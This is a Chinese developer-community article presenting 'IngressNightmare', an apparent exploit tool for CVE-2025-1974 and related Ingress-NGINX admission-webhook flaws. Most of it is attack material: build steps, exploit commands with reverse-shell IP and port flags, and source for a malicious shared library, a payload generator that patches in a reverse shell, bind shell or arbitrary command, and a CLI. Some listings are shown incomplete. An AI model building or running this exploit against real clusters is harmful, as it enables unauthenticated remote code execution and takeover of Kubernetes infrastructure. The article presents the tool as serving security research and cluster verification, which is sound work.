首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >深入剖析Kubernetes Ingress-NGINX高危漏洞(CVE-2025-1974)利用工具

深入剖析Kubernetes Ingress-NGINX高危漏洞(CVE-2025-1974)利用工具

原创
作者头像
qife122
发布2026-01-27 14:32:44
发布2026-01-27 14:32:44
1030
举报

项目标题与描述

IngressNightmare 是一个专门用于演示和验证Kubernetes Ingress-NGINX组件中CVE-2025-1974漏洞的利用工具。该漏洞允许远程攻击者在无需身份验证的情况下,通过向受影响的ingress-nginx安装发送特定请求来执行任意代码。

项目的核心价值在于:

  • 完整复现了CVE-2025-1974漏洞的利用链
  • 支持多种攻击模式:反向Shell、绑定Shell、命令执行
  • 为安全研究人员提供学习和测试环境
  • 帮助企业验证自身Kubernetes集群的安全性

功能特性

核心功能

  • 多漏洞支持:不仅支持CVE-2025-1974,还支持相关的CVE-2025-24514、CVE-2025-1097、CVE-2025-1098等多个漏洞
  • 多种攻击模式
    • 反向Shell连接(MODE_REVERSE_SH)
    • 绑定Shell监听(MODE_BINDING_SH)
    • 直接命令执行(MODE_CMD_EXECVE)
  • 灵活的配置选项
    • 可自定义Ingress Webhook URL
    • 可配置上传URL
    • 支持详细日志输出
  • 自动化攻击流程:自动完成恶意.so文件的上载和触发

技术特点

  • 利用NGINX的client-body缓冲机制缓存恶意共享库
  • 通过AdmissionReview注入ssl_engine配置指令
  • 触发nginx -t命令加载恶意库实现RCE
  • 支持HTTP/HTTPS协议的自定义上传器

安装指南

系统要求

  • Go 1.16+ 开发环境
  • Kubernetes集群(用于测试)
  • 受影响的Ingress-NGINX版本(< v1.11.0, v1.11.0-v1.11.4, v1.12.0)

构建步骤

  1. 克隆项目代码:git clone <项目仓库> cd ingressnightmare
  2. 安装Go依赖:go mod download
  3. 构建项目:go build -o ingressnightmare main.go

依赖项

项目依赖以下Go模块:

  • github.com/guonaihong/gout - HTTP客户端库
  • github.com/sirupsen/logrus - 日志记录
  • github.com/spf13/cobra - CLI框架
  • k8s.io/api/admission/v1 - Kubernetes Admission API

使用说明

基础用法

代码语言:bash
复制
# 基本攻击命令
./ingressnightmare exploit \
  --ingress-webhook-url "https://ingress-nginx-controller-admission.ingress-nginx.svc.cluster.local:443" \
  --upload-url "http://ingress-nginx-controller.ingress-nginx.svc.cluster.local:80" \
  --reverse-shell-ip 192.168.1.100 \
  --reverse-shell-port 4444

攻击模式选择

代码语言:bash
复制
# 使用auth-url攻击(CVE-2025-24514,默认)
./ingressnightmare exploit --is-auth-url

# 使用auth-tls-match-cn攻击(CVE-2025-1097)
./ingressnightmare exploit --is-match-cn --auth-secret-name "kube-system/cilium-ca"

# 使用mirror with uid攻击(CVE-2025-1098)
./ingressnightmare exploit --is-mirror-with-uid

配置选项详解

代码语言:bash
复制
# 详细日志输出
./ingressnightmare exploit --verbose 2

# 自定义端口范围扫描
./ingressnightmare exploit \
  --pid-range-start 1 \
  --pid-range-end 1000 \
  --fd-range-start 3 \
  --fd-range-end 1024

# 仅执行特定阶段
./ingressnightmare exploit --only-admission      # 仅执行Admission Webhook攻击
./ingressnightmare exploit --only-upload         # 仅上传恶意.so文件

核心代码

恶意共享库实现 (danger.c)

代码语言:c
复制
//go:build ignore
#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<arpa/inet.h>

// 编译命令: gcc -fPIC -o danger.so danger.c -shared

// 自定义字符串比较函数
int strcmp(const char *s1, const char *s2) {
    for (int i = 0; s1[i] != '\0' || s2[i] != '\0'; i++) {
        if (s1[i] != s2[i]) {
            return 1;  // 返回1表示不相等
        }
    }
    return 0;  // 返回0表示相等
}

// 计算字符串长度
int strlener(const char *str) {
    int i = 0;
    while (str[i] != '\0') {
        i++;
    }
    return i;
}

// 字符串复制函数
void strcpy(char* dst, const char* src) {
    while(*src != '\0') {
        *dst = *src;
        src++;
        dst++;
    }
    *dst = *src; // 复制终止字符0x00
}

// 输出函数
void printer(const char *str) {
    write(2, str, strlener(str));
}

// 解析十进制字符串为整数
static unsigned int parseDecimal(const char** pchCursor) {
    unsigned int nVal = 0;
    char chNow;
    while (chNow = **pchCursor, chNow >= '0' && chNow <= '9') {
        // 逐位处理数字
        nVal *= 10;
        nVal += chNow - '0';
        ++*pchCursor;
    }
    return nVal;
}

// 规范化IP地址格式(去除前导零)
void get_valid_ip(const char *input_ip, char *output_ip) {
    char temp[4];
    int index = 0;
    const char *p = input_ip;
    
    while (*p) {
        if (*p == '.') {
            output_ip[index++] = '.';
            p++;
            continue;
        }
        
        // 跳过前导零
        while (*p == '0' && *(p + 1) >= '0' && *(p + 1) <= '9') {
            p++;
        }
        
        int i = 0;
        while (*p && *p != '.') {
            temp[i++] = *p++;
        }
        temp[i] = '\0';
        
        strcpy(output_ip + index, temp);
        index += strlener(temp);
    }
    output_ip[index] = '\0';
}

// 反向Shell主函数(代码片段)
void rev_shell() {
    char *server_ip="127.000.000.001";
    const char *port_s = "13337";
    
    printer(server_ip);
    printer("\n");
    printer(port_s);
    printer("\n");
    
    char output_ip[16];
    get_valid_ip(server_ip, output_ip);
    printer(output_ip);
    printer("\n");
    
    uint32_t server_port = parseDecimal(&port_s);
    // 创建socket连接的代码(后续部分)
}

载荷生成器 (payload.go)

代码语言:go
复制
package nginx_ingress

import (
	"bytes"
	"embed"
	log "github.com/sirupsen/logrus"
	"strings"
)

// 字节替换函数(自定义实现)
func bytesReplace(s, old, new []byte, n int) []byte {
	if len(old) != len(new) {
		panic("bytes: unequal old and new byte slices! patched failed")
	}
	return bytes.Replace(s, old, new, -1)
}

// 嵌入恶意共享库文件
//go:embed danger.so danger.c
var evilLibraryFS embed.FS

var evilLibrary []byte

// 初始化函数
func Init(soData []byte) {
	evilLibrary = soData
	log.Tracef("Load evil so library. size: %v bytes, prefix: %v(%X)", 
		len(evilLibrary), evilLibrary[:32], evilLibrary[:32])
}

// 获取默认的恶意共享库
func DefaultEvilLibrary() []byte {
	evil, _ := evilLibraryFS.ReadFile("danger.so")
	return evil
}

// 获取C语言源代码
func DefaultEvilLibraryC() string {
	evil, _ := evilLibraryFS.ReadFile("danger.c")
	return string(evil)
}

// 载荷类型定义
type Payload []byte

// 攻击模式常量
const (
	MODE_CHECK_FLAG  = "MODE_CHECK_FLAG"
	MODE_REVERSE_SH  = "MODE_REVERSE_SH"
	MODE_BINDING_SH  = "MODE_BINDING_SH"
	MODE_CMD_EXECVE  = "MODE_CMD_EXECVE"
)

// 创建反向Shell载荷
func NewReverseShellPayload(tip string, port string) Payload {
	// 格式化IP地址部分(补零)
	var ip []string
	for _, part := range strings.Split(tip, ".") {
		if len(part) == 1 {
			part = "00" + part
		} else if len(part) == 2 {
			part = "0" + part
		}
		ip = append(ip, part)
	}
	
	// 替换恶意库中的默认IP地址
	payload := bytesReplace(evilLibrary, []byte("127.000.000.001"), 
		[]byte(strings.Join(ip, ".")), 1)
	
	// 格式化端口号(补零)
	switch len(port) {
	case 1:
		port = "0000" + port
	case 2:
		port = "000" + port
	case 3:
		port = "00" + port
	case 4:
		port = "0" + port
	default:
		port = port
	}
	
	// 替换端口号和攻击模式
	payload = bytesReplace(payload, []byte("13337"), []byte(port), 1)
	payload = bytesReplace(payload, []byte(MODE_CHECK_FLAG), 
		[]byte(MODE_REVERSE_SH), 1)
	
	return payload
}

// 创建绑定Shell载荷
func NewBindShellPayload(port string) Payload {
	// 格式化端口号
	switch len(port) {
	case 1:
		port = "0000" + port
	case 2:
		port = "000" + port
	case 3:
		port = "00" + port
	case 4:
		port = "0" + port
	default:
		port = port
	}
	
	// 替换端口号和攻击模式
	payload := bytesReplace(evilLibrary, []byte("31337"), []byte(port), 1)
	payload = bytesReplace(payload, []byte(MODE_CHECK_FLAG), 
		[]byte(MODE_BINDING_SH), 1)
	
	return payload
}

// 创建命令执行载荷
func NewCommandPayload(command string) Payload {
	// 命令长度限制检查
	if len(command) > 510 {
		return nil
	}
	
	// 构建命令字符串(填充到512字节)
	cmd := []byte(command + " #")
	cmd = append(cmd, bytes.Repeat([]byte{0x41}, 512-len(cmd))...)
	
	// 替换恶意库中的命令部分
	payload := bytesReplace(evilLibrary, 
		[]byte("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"),
		[]byte(cmd), 1)
	
	// 设置攻击模式
	payload = bytesReplace(payload, []byte(MODE_CHECK_FLAG), 
		[]byte(MODE_CMD_EXECVE), 1)
	
	return payload
}

主命令行接口 (main.go)

代码语言:go
复制
package main

import (
	"fmt"
	"net"
	"os"
	"strings"

	log "github.com/sirupsen/logrus"
	"github.com/spf13/cobra"
	nginx_ingress "ingressnightmare/nginx-ingress"
)

// 全局配置选项
var Opts = struct {
	Mode              string
	IngressWebhookUrl string
	UploadUrl         string
	Verbose           int
	DryRun            bool

	ReverseShellIp   net.IP
	ReverseShellPort uint16

	BindShellPort uint16

	Command string

	PidRangeStart int
	PidRangeEnd   int
	FdRangeStart  int
	FdRangeEnd    int

	OnlyAdmission         bool
	OnlyAdmissionFilePath string
	OnlyUpload            bool

	nginx_ingress.ExploitMethod

	SoFile               string
	ValidateJsonTemplate string
}{}

// 默认Pod IP获取函数
func defaultPodIp() net.IP {
	interfaces, _ := net.Interfaces()
	for _, i := range interfaces {
		if i.Name == "eth0" {
			addrs, _ := i.Addrs()
			if addrs != nil || len(addrs) > 0 {
				ip := strings.Split(addrs[0].String(), "/")[0]
				return net.ParseIP(ip)
			}
		}
	}
	return net.ParseIP("10.0.0.1")
}

// 初始化命令行标志
func init() {
	// 设置目标参数
	ExpCmd.Flags().StringVarP(&Opts.IngressWebhookUrl, "ingress-webhook-url", "i",
		"https://ingress-nginx-controller-admission.ingress-nginx.svc.cluster.local:443",
		"ingress webhook url")
	
	ExpCmd.Flags().StringVarP(&Opts.UploadUrl, "upload-url", "u",
		"http://ingress-nginx-controller.ingress-nginx.svc.cluster.local:80",
		"upload url")

	// 设置漏洞利用方法选择
	ExpCmd.Flags().BoolVarP(&Opts.IsAuthURL, "is-auth-url", "a", true, 
		"CVE-2025-24514: using auth-url to attack (default)")
	
	ExpCmd.Flags().BoolVarP(&Opts.IsAuthTLSMatchCN, "is-match-cn", "A", false, 
		"CVE-2025-1097: using auth-tls-match-cn to attack (not default)")
	
	ExpCmd.Flags().StringVarP(&Opts.AuthSecret, "auth-secret-name", "U", "", 
		"if using auth-tls-match-cn, secret name is required, example: kube-system/cilium-ca")
	
	ExpCmd.Flags().BoolVarP(&Opts.IsMirrorWithUID, "is-mirror-with-uid", "M", false, 
		"CVE-2025-1098: using mirror with uid")
	
	// 注意:这里应该有互斥标志的设置,但代码片段被截断
}

// 主要命令定义(代码后续部分)

该工具展示了针对Kubernetes Ingress-NGINX组件的高危漏洞的完整利用链,从恶意共享库的制作到自动化攻击流程的实现,为安全研究人员提供了深入理解该漏洞的技术细节。

6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ7vma9L22CBtfiNUmVsubKS

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 [email protected] 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 [email protected] 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 项目标题与描述
  • 功能特性
    • 核心功能
    • 技术特点
  • 安装指南
    • 系统要求
    • 构建步骤
    • 依赖项
  • 使用说明
    • 基础用法
    • 攻击模式选择
    • 配置选项详解
  • 核心代码
    • 恶意共享库实现 (danger.c)
    • 载荷生成器 (payload.go)
    • 主命令行接口 (main.go)
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档